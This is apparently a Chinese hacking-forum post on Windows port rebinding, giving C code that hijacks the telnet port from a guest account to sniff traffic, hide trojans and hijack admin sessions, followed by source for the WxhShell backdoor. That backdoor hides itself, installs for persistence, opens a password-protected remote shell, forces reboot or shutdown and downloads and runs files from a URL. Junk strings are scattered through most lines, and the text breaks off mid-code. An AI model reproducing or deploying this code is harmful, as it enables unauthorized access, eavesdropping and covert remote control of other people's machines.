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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <K97eAcW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  )bK<t  
_K;rM7  
  saddr.sin_family = AF_INET; O-y"]Wrv  
?QuFRl,ZJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^k)f oD  
kW,yZ.?f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T|{BT! W1E  
<0kRky$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9*2hBNp+  
!Uj !Oy  
  这意味着什么?意味着可以进行如下的攻击: +Nza@B d  
cnIy*!cJs  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [9LYR3 p  
vuAAaKz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g|+G(~=e|  
P&F)E#Sa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N %?o-IY  
6u.b?_u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d3{Zhn@  
be764do  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Eui;2P~  
71 A{"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \7C >4  
?%LD1 <ya  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {UUVN/$  
C/cGr)|8%  
  #include }pTj8Tr  
  #include -B4v1{An  
  #include rmhCuY?f  
  #include    n!N;WL3k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +2?0]6EQ  
  int main() ? {&#l2  
  { m+u>%Ys`  
  WORD wVersionRequested; )5&m:R9  
  DWORD ret; vEgJmHv;  
  WSADATA wsaData; J}YI-t  
  BOOL val; E"" /dC:B  
  SOCKADDR_IN saddr; ?"C]h s  
  SOCKADDR_IN scaddr; \E#r[9F{  
  int err; &U,f~KJ  
  SOCKET s; oqY?#p/  
  SOCKET sc; Xoik%T-  
  int caddsize; b%_QL3 m6  
  HANDLE mt; Q3/q%#q>  
  DWORD tid;   9M!_D?+P?  
  wVersionRequested = MAKEWORD( 2, 2 ); 57j:Lw~   
  err = WSAStartup( wVersionRequested, &wsaData ); O.4"h4{'  
  if ( err != 0 ) { lGM3?AN  
  printf("error!WSAStartup failed!\n"); BT#>b@Xub  
  return -1; pUwX cy<n  
  } uo65i 1oi  
  saddr.sin_family = AF_INET; BsRas  
   M"FAUqz`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hZ#tB  
,U tw!]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CX:^]wY  
  saddr.sin_port = htons(23); FQ87[| S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JZtFt=>q  
  { HaC3y[LJ0  
  printf("error!socket failed!\n"); B`WfJ2*2  
  return -1; q#778  
  } pvM8PlYo]`  
  val = TRUE; 000 $ZsW?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~d%Q1F*,=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m3XH3FgKz  
  { (Q4_3<G+  
  printf("error!setsockopt failed!\n"); ,yqzk.  
  return -1; 0F3>kp4u  
  } HcVPJuD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I{AU,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "TV.$s$.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C>u 3n^  
>4VU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !'gz&3B~h  
  { bOFLI#p&  
  ret=GetLastError(); 0 iE).Za0g  
  printf("error!bind failed!\n"); eHJ7L8#  
  return -1; b{ozt\:M  
  } ."^dJ |fN  
  listen(s,2); 2%<jYm#'z-  
  while(1) }?~uAU-  
  { O}`01A!u;  
  caddsize = sizeof(scaddr); :aqh8b v  
  //接受连接请求 \|pAn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T7T!v  
  if(sc!=INVALID_SOCKET) <F3sQAe  
  { aK>9:{]ez  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]Tl\9we  
  if(mt==NULL) nSow$6T_  
  { {x4[Bx1  
  printf("Thread Creat Failed!\n"); FezW/+D  
  break; otIJ[Mvyq  
  } ?.A|Fy^  
  } pkU e|V  
  CloseHandle(mt); u7C{>  
  } 2%qn !+.  
  closesocket(s); Wu4Nq+  
  WSACleanup(); "[?/I3 {E  
  return 0; n>0dz#  
  }   Fa!)$eb7  
  DWORD WINAPI ClientThread(LPVOID lpParam) MELGTP>  
  { pjCWg 4ya  
  SOCKET ss = (SOCKET)lpParam; ) e2IT*7  
  SOCKET sc; YJ^ lM\/<  
  unsigned char buf[4096]; h]MVFn{  
  SOCKADDR_IN saddr; -5cH$]1\  
  long num; cMWO_$  
  DWORD val; qQcC[50  
  DWORD ret; bZ9NnSuH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F=om^6G%X5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5Hm!5:ZB  
  saddr.sin_family = AF_INET; )c'>E4>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {e%abr_B  
  saddr.sin_port = htons(23); ThlJhTh<%4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >a7(A#3@d  
  { ]18ygqt  
  printf("error!socket failed!\n"); pu:D/2R2;k  
  return -1; i@CMPz-h&  
  } 1a$V{Eag  
  val = 100; $i@EfujY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Crhi+D  
  { a!:8`X~[/$  
  ret = GetLastError(); _o?(t\B9{  
  return -1; a-E-hX2  
  } w~U`+2a3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rc$!$~|I3Z  
  { 6}T%m?/}  
  ret = GetLastError(); W|#ev*'F  
  return -1; euhZ4+  
  } cXY'>N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =[K)<5,@  
  { ]pV1T  
  printf("error!socket connect failed!\n"); E.`d k.  
  closesocket(sc); {?mQqoZ?.  
  closesocket(ss); y<1$^Y1/)  
  return -1; Z&w^9;30P  
  } kN j3!u$  
  while(1) V"H 7zx  
  { Jo3(bl %u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 unnx#e]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V*zz- 2 _i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H 1D;:n  
  num = recv(ss,buf,4096,0); ' f$L  
  if(num>0) 7F(F.ut  
  send(sc,buf,num,0); S9NN.dKu  
  else if(num==0) m_$I?F0  
  break; +q j*P9  
  num = recv(sc,buf,4096,0); EOX_[ek7  
  if(num>0) 06^1#M$'  
  send(ss,buf,num,0); j 3MciQ`  
  else if(num==0) nbASpa(  
  break; Dum`o^l#  
  } bfJ`}xl(8  
  closesocket(ss); 6rQpK&Jx  
  closesocket(sc); v$m[#&O^V?  
  return 0 ; &@HNz6KO  
  } ix9HSa{d  
<i'u96  
) , ]2`w&k  
========================================================== H@MFj>~  
[-t> G!)  
下边附上一个代码,,WXhSHELL '95E;RV&  
)6>|bmpU  
========================================================== qX+gG",8  
WjrMd#^  
#include "stdafx.h" %Lp7@  
T]6c9_  
#include <stdio.h> V< vPFxC  
#include <string.h> 2]} Uov  
#include <windows.h> +&7Kk9^  
#include <winsock2.h> ,=Nw(GI  
#include <winsvc.h> `8(h,aj;  
#include <urlmon.h> o? i.v0@!K  
v] T(z L|  
#pragma comment (lib, "Ws2_32.lib") nF<y7XkO  
#pragma comment (lib, "urlmon.lib") lW$&fuDHF  
Z|(c(H2  
#define MAX_USER   100 // 最大客户端连接数 )J+{oB[>b  
#define BUF_SOCK   200 // sock buffer %A62xnX  
#define KEY_BUFF   255 // 输入 buffer 5eOj, [?  
BY*2yp}7  
#define REBOOT     0   // 重启 rj,K`HD  
#define SHUTDOWN   1   // 关机 QM ZUt  
'}Wu3X  
#define DEF_PORT   5000 // 监听端口 +lW}ixt  
adI!W-/R:  
#define REG_LEN     16   // 注册表键长度 8pPC 9ew\=  
#define SVC_LEN     80   // NT服务名长度 ^.#X<8hr  
3kiE3*H  
// 从dll定义API x_<bK$OU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a_{io`h3&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0TO_1 0D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eOehgU5x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R6!cK[e]4  
{jhmp\PN  
// wxhshell配置信息 r]8x;v1  
struct WSCFG { VyWYfPK  
  int ws_port;         // 监听端口 OK-sT7But  
  char ws_passstr[REG_LEN]; // 口令 ?+n&hHRg  
  int ws_autoins;       // 安装标记, 1=yes 0=no qBy NHo7Tb  
  char ws_regname[REG_LEN]; // 注册表键名 i Y*o;z,~  
  char ws_svcname[REG_LEN]; // 服务名 U|J$?aFDr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5fu+rU-#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *:\:5*SY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DB`$Ru@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9q1HSJ1)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5wH54g j}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TCHqe19?  
>gk z4.*  
}; Dxt),4 %P  
+Y>"/i. N  
// default Wxhshell configuration [eNkU">}  
struct WSCFG wscfg={DEF_PORT, |rHG%VnBH  
    "xuhuanlingzhe", u>}w-  
    1, U g}8y8  
    "Wxhshell", !/Iq{2LX  
    "Wxhshell", 0]T.Lh$3  
            "WxhShell Service", rQ~\~g[tP  
    "Wrsky Windows CmdShell Service", 1BQ0M{&  
    "Please Input Your Password: ", fvcW'T}r  
  1, {f+N]Oo*  
  "http://www.wrsky.com/wxhshell.exe", v2hZq-q  
  "Wxhshell.exe" *jM_wwG  
    }; \3Dk5cSDk+  
<<=e9Lh  
// 消息定义模块 *Y85DEA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )jyq{Jb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O^9CV*]!n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zL:&Q<  
char *msg_ws_ext="\n\rExit."; ZV'$k\  
char *msg_ws_end="\n\rQuit."; lWx  
char *msg_ws_boot="\n\rReboot..."; *jk3 \KaoV  
char *msg_ws_poff="\n\rShutdown..."; &?.n2+T+ =  
char *msg_ws_down="\n\rSave to "; (C daE!I4Q  
48 W.qzC  
char *msg_ws_err="\n\rErr!"; BBHK  
char *msg_ws_ok="\n\rOK!"; *16<M)7  
'|l%rv  
char ExeFile[MAX_PATH]; Bo`Tl1K#  
int nUser = 0; {=3J/)='  
HANDLE handles[MAX_USER]; X'fuF2owd  
int OsIsNt; -S"5{N73  
X E|B)Q(  
SERVICE_STATUS       serviceStatus; #`W=m N(+k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S6v!GQ  
U|gpCy  
// 函数声明 {<qF}i:V  
int Install(void); .L9']zXc`  
int Uninstall(void); I2f?xJ2/Z  
int DownloadFile(char *sURL, SOCKET wsh); ~xGoJrF\  
int Boot(int flag); !FTNmyM~F  
void HideProc(void); 9-0<*)"b>  
int GetOsVer(void); ]@v}y&  
int Wxhshell(SOCKET wsl); :e*DTVv8  
void TalkWithClient(void *cs); 8b|OXWl  
int CmdShell(SOCKET sock); u!Xb?:3uj  
int StartFromService(void); & _; y.!  
int StartWxhshell(LPSTR lpCmdLine); 2w+U$6e C  
lnS(&`oh\=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xfjd5J7'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #/Ruz'H1>  
vr=~M?  
// 数据结构和表定义 lT2 4JhJ#  
SERVICE_TABLE_ENTRY DispatchTable[] = M)&Io6>  
{ ? ^M /[@  
{wscfg.ws_svcname, NTServiceMain}, *LANGQ"2(i  
{NULL, NULL} TZ[Zm  
}; +nZUL*Ut/  
x^G'rF"nT  
// 自我安装 5%*w<6<_z  
int Install(void) ~ 9GOk;{~&  
{ |0`hE;Kt7  
  char svExeFile[MAX_PATH]; C5xag#Z1  
  HKEY key; zh\p  
  strcpy(svExeFile,ExeFile); :0$a.8Y\++  
tz26=8  
// 如果是win9x系统,修改注册表设为自启动 Ck\7F?S  
if(!OsIsNt) { RK[D_SmS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F^QQ0h]2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {~SaRB2<'  
  RegCloseKey(key); E<>*(x/\e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A{# Nwd>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "(v%1tGk  
  RegCloseKey(key); iPq &Y*  
  return 0; r9# \13-  
    } zN#*G i'  
  }  UXT p  
} ~C-,G"zw&G  
else { )VSwT x&  
+TK3{5`!Ae  
// 如果是NT以上系统,安装为系统服务 k.<3HU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?38lHn`FyQ  
if (schSCManager!=0) .`jo/,?+O  
{ tF*szf|$-  
  SC_HANDLE schService = CreateService QT! 4[,4  
  ( A4.4Dji,x  
  schSCManager, *O,H5lwU  
  wscfg.ws_svcname, {:Aw_z:'  
  wscfg.ws_svcdisp, sIy  
  SERVICE_ALL_ACCESS, s,6`RI%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~. YWV  
  SERVICE_AUTO_START, O~!T3APGU  
  SERVICE_ERROR_NORMAL, X&M4MuL  
  svExeFile, $= B8qZ+  
  NULL, |Os6V<u"  
  NULL, !d,8kG  
  NULL, \\,f{?w  
  NULL, n`ViTwd]MQ  
  NULL *)<B0SjT  
  ); <F;v`h|+S  
  if (schService!=0) ('O}&F1  
  { D-2.fjo9!  
  CloseServiceHandle(schService); 7Vu?  
  CloseServiceHandle(schSCManager); 33'Y[4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "T2"]u<52  
  strcat(svExeFile,wscfg.ws_svcname); eujK4s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :Zt2'vcGpf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &;E5[jO^D  
  RegCloseKey(key); >5hhd38  
  return 0; iYJZvN  
    } jCioE  
  } )?=YT  
  CloseServiceHandle(schSCManager); BHA923p?  
} ]5 Qy  
} ,1oQ cC  
slu(SmQ  
return 1; 0* ;O?T  
} E<E3&;qD  
HDVW0QaMu  
// 自我卸载 Z(u5$<up  
int Uninstall(void) ~YP Jez  
{ 0nJE/JZ  
  HKEY key; 7y^%7U \  
0Yl4eB-  
if(!OsIsNt) { ^Hrn  ]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6"/WZmOp  
  RegDeleteValue(key,wscfg.ws_regname); $P z`$~  
  RegCloseKey(key); ,CvG 20>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <eN_1NTH_  
  RegDeleteValue(key,wscfg.ws_regname); 'sh~,+g  
  RegCloseKey(key); o:S0*  
  return 0; C NsNZJ  
  } m8R9{LC  
} JL=U,Mr6  
} H 3@Z.D  
else { %FZ2xyI.  
{ZU1x C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .zg8i_  
if (schSCManager!=0) \OILWQ[/  
{ asJ!NvVG'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q:\g^_!OGA  
  if (schService!=0) <TGn=>u  
  { t_z,>,BqJ  
  if(DeleteService(schService)!=0) { }t9.N`xu  
  CloseServiceHandle(schService); k o;>#::  
  CloseServiceHandle(schSCManager); =U8Ek;Drp  
  return 0; );V2?G`/  
  } S! Rc|6y%  
  CloseServiceHandle(schService); uhyj5u)  
  } VhL{'w7f  
  CloseServiceHandle(schSCManager); ,`D~py,  
} dU)]:>Uz  
} a"N4~?US  
Y;4!i?el  
return 1; ldha|s.*  
} Tm}rH]F&  
mw$r$C{  
// 从指定url下载文件 aNcd` $0  
int DownloadFile(char *sURL, SOCKET wsh) S$TmZk=  
{ fyTAou6hI  
  HRESULT hr; o?L'Pg  
char seps[]= "/"; YB<*"HxM)}  
char *token; ;Uc0o!1  
char *file; qgIb/6;xQ  
char myURL[MAX_PATH]; +gd4\ZG  
char myFILE[MAX_PATH]; r={c,i  
ho8`sh>N  
strcpy(myURL,sURL); l^GP3S  
  token=strtok(myURL,seps); N`iwC!  
  while(token!=NULL) PZxAH9 S?  
  { <+MyZM(z>  
    file=token; ]i(-I <`  
  token=strtok(NULL,seps); 8Jf.ECQT  
  } 1"Z@Q`}  
4iA Z+l5&  
GetCurrentDirectory(MAX_PATH,myFILE); 'c2W}$q  
strcat(myFILE, "\\"); qm/Q65>E  
strcat(myFILE, file); :NJ_n6E  
  send(wsh,myFILE,strlen(myFILE),0); NBl+_/2'w  
send(wsh,"...",3,0); )?+$x[f!*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vgY3L  
  if(hr==S_OK) oSiMpQu08  
return 0; )?_#gLrE6  
else ;!:U((wv  
return 1; C~fjWz' V  
O~j> ?  
} ojYbR<jn9  
'z76 Sa  
// 系统电源模块 sn7AR88M;  
int Boot(int flag) |*Z$E$k:  
{ Lg8nj< TF  
  HANDLE hToken; *I}`dC[  
  TOKEN_PRIVILEGES tkp; 'iLpE7  
db'/`JeK b  
  if(OsIsNt) { 4XVCHs(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X%yO5c\l2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]7-&V-Ct*  
    tkp.PrivilegeCount = 1; F, U*yj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SGb;!T *  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J>fQNW!{  
if(flag==REBOOT) { +"9hWb5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g^*<f8 ~d  
  return 0; ;^t{Il'j  
} N0hE4t  
else { dJ$"l|$$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fXrXV~'8  
  return 0; 93t9^9  
} ^u 3V E  
  } f0Bto/,>~  
  else { LU!dN"[k  
if(flag==REBOOT) { h-iJlm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rG,5[/l  
  return 0; 3u%{dGa  
} z-M3  
else { 9x,RvWTb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ss;R8:5  
  return 0; 8~5cJPi6  
} 'SQG>F Uy  
} ,{\Bze1fn  
t_mIOm)S%  
return 1; '_|h6<.k[  
}  XL7h}  
lu Q~YjH  
// win9x进程隐藏模块 Mq';S^  
void HideProc(void) cuOvN"nuNj  
{ %Uz(Vd#K  
=8U&[F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R<B7K?SxV~  
  if ( hKernel != NULL ) 7GDHz.IX  
  { kdGT{2u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^eW}XRI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JN7k2]{  
    FreeLibrary(hKernel); !^Q.VYY  
  } @&[T _l  
@A)R_p  
return; +V&{*f)  
} o)'y.-@Q  
)BRKZQN  
// 获取操作系统版本 +F dB '  
int GetOsVer(void) lJ@][;  
{ *)+ut(x|#  
  OSVERSIONINFO winfo; ?-1r$31p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &=4(l|wcg  
  GetVersionEx(&winfo); DBLO|&2!z[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JEE{QjTh  
  return 1; fGmT_C0t  
  else SNY~9:;]f  
  return 0; #s!'+|2n  
} TX#m&vh  
z({hiVs  
// 客户端句柄模块 _{M\Bs2<  
int Wxhshell(SOCKET wsl) .^b;osAU  
{ :O5og[;b  
  SOCKET wsh; ZyEHzM{$  
  struct sockaddr_in client; %vBhLaE  
  DWORD myID; %#$EP7"J  
`"%T=w  
  while(nUser<MAX_USER) *OQG 4aWy  
{ OgX6'E\E  
  int nSize=sizeof(client); ETB6f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O:da-xWJ  
  if(wsh==INVALID_SOCKET) return 1; u ElAnrm  
'= l[;Q^Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dx ;k`r$w  
if(handles[nUser]==0) VN%INUi@  
  closesocket(wsh); .L~Nq%g1  
else ;us%/kOR  
  nUser++; ^`<w&I@  
  } "}Me}S<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  ykrr2x  
ujJI 1I  
  return 0; ` }3qhar  
} yAN=2fZm  
b$eXFi/  
// 关闭 socket t^ZV|s 1  
void CloseIt(SOCKET wsh) }y%oT P&  
{ [{r}u  
closesocket(wsh); &gI~LP  
nUser--; Ssk}e=]  
ExitThread(0); 0cT*z(  
}  {Ha8]y  
LOTP*Syjf  
// 客户端请求句柄 Z/ Tm)Xd  
void TalkWithClient(void *cs) .SWt3|Pi5  
{ K\)Td+~jc  
1jX3ey~  
  SOCKET wsh=(SOCKET)cs; x 2QIPUlf  
  char pwd[SVC_LEN]; D3c2^r $Z  
  char cmd[KEY_BUFF]; $#|gLVOQ  
char chr[1]; xF8}:z0  
int i,j; [TCP-bU  
d(:3   
  while (nUser < MAX_USER) { ?X&6M;Zi  
pZyQY+O  
if(wscfg.ws_passstr) { + S4fGT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B>Wu;a.:L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %Qmk2  
  //ZeroMemory(pwd,KEY_BUFF); e:AHVep j{  
      i=0; fw;rbP!  
  while(i<SVC_LEN) { uGs; }<<8  
C%~a`e|/Y  
  // 设置超时 AfC>Q!-w  
  fd_set FdRead; VB<Jf'NU  
  struct timeval TimeOut; bJ_cId8+  
  FD_ZERO(&FdRead); 3zT_^;:L  
  FD_SET(wsh,&FdRead); `m.eM  
  TimeOut.tv_sec=8; 8_K6 0eXz  
  TimeOut.tv_usec=0; i!~'M;S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !Oi~:Pp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  M/z}p  
8z5# ]u;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RmI1`  
  pwd=chr[0]; _owjTo}  
  if(chr[0]==0xd || chr[0]==0xa) { ]B=C|usJ  
  pwd=0; >5G>D~b  
  break; C!C|\$)-  
  } ",>H(wJ8  
  i++;  Yav2q3  
    } dO7;}>F$n  
?r_l8  
  // 如果是非法用户,关闭 socket KS*oxZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]4 (?BJ  
} [ $fJRR  
ZX~ _g@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~L7:2weV[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &:=$wc  
xLZd!>C  
while(1) { vVT?h  
-6 sW6;Q  
  ZeroMemory(cmd,KEY_BUFF); B}d.#G+_$x  
&L^CCi  
      // 自动支持客户端 telnet标准   h8jD }9^  
  j=0; o/o:2p.  
  while(j<KEY_BUFF) { S=3^Q;V/1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q:6VYONN  
  cmd[j]=chr[0]; /HZumV?  
  if(chr[0]==0xa || chr[0]==0xd) { 6D;^uM2N  
  cmd[j]=0; oPKXZU(c  
  break; -RJE6~>'\  
  } F^!mI7Z|(2  
  j++; mKq"3 4F  
    } M`D$!BJr  
UK*qKj. )  
  // 下载文件 2q} ..  
  if(strstr(cmd,"http://")) { =8=!Yc(>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %f8Qa"j  
  if(DownloadFile(cmd,wsh)) @U -$dw'4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +rWZ|&r%  
  else G%# 05jH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TOLl@p]lU  
  } *R % wUi  
  else { N_75-S7Cm  
# fhEc;t  
    switch(cmd[0]) { ^%y`u1ab  
  {F|48P;J  
  // 帮助 .I$}KE)  
  case '?': { si(;y](  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uHNpfKnZ  
    break; A\te*G0:S  
  } 8cHE[I  
  // 安装 3kmeD".  
  case 'i': { *@ED}Mj+  
    if(Install()) GbU@BN+_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^+?|Qfi  
    else )y7_qxwbV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `"k9wC1  
    break; 6@4n'w{"  
    } `#IcxweA  
  // 卸载 }gf}eH  
  case 'r': { `Iy4=nVb  
    if(Uninstall()) p SN~DvR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b~7drf  
    else h7qBp300  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MEwdw3  
    break; |)_-Bi;MW`  
    } @kD8^,(oH  
  // 显示 wxhshell 所在路径 8(X0 :  
  case 'p': { _|isa]u\ z  
    char svExeFile[MAX_PATH]; wz -)1!  
    strcpy(svExeFile,"\n\r"); TF+ l5fv  
      strcat(svExeFile,ExeFile); xk~Nmb}  
        send(wsh,svExeFile,strlen(svExeFile),0); <M[U#Q~?~e  
    break; $M"0BZQ?y!  
    } O2-M1sd$  
  // 重启 MmU%%2QG  
  case 'b': { Uedvc5><t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \Mi#{0f+q  
    if(Boot(REBOOT)) #I`ms$j%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'b:Ne,<  
    else { ecH/Wz1  
    closesocket(wsh); 3/M.0}e  
    ExitThread(0); i+M*J#'  
    } -.vDF?@G  
    break; 4f1D*id*`#  
    } qJ[@:&:  
  // 关机 9EF~l9`'U  
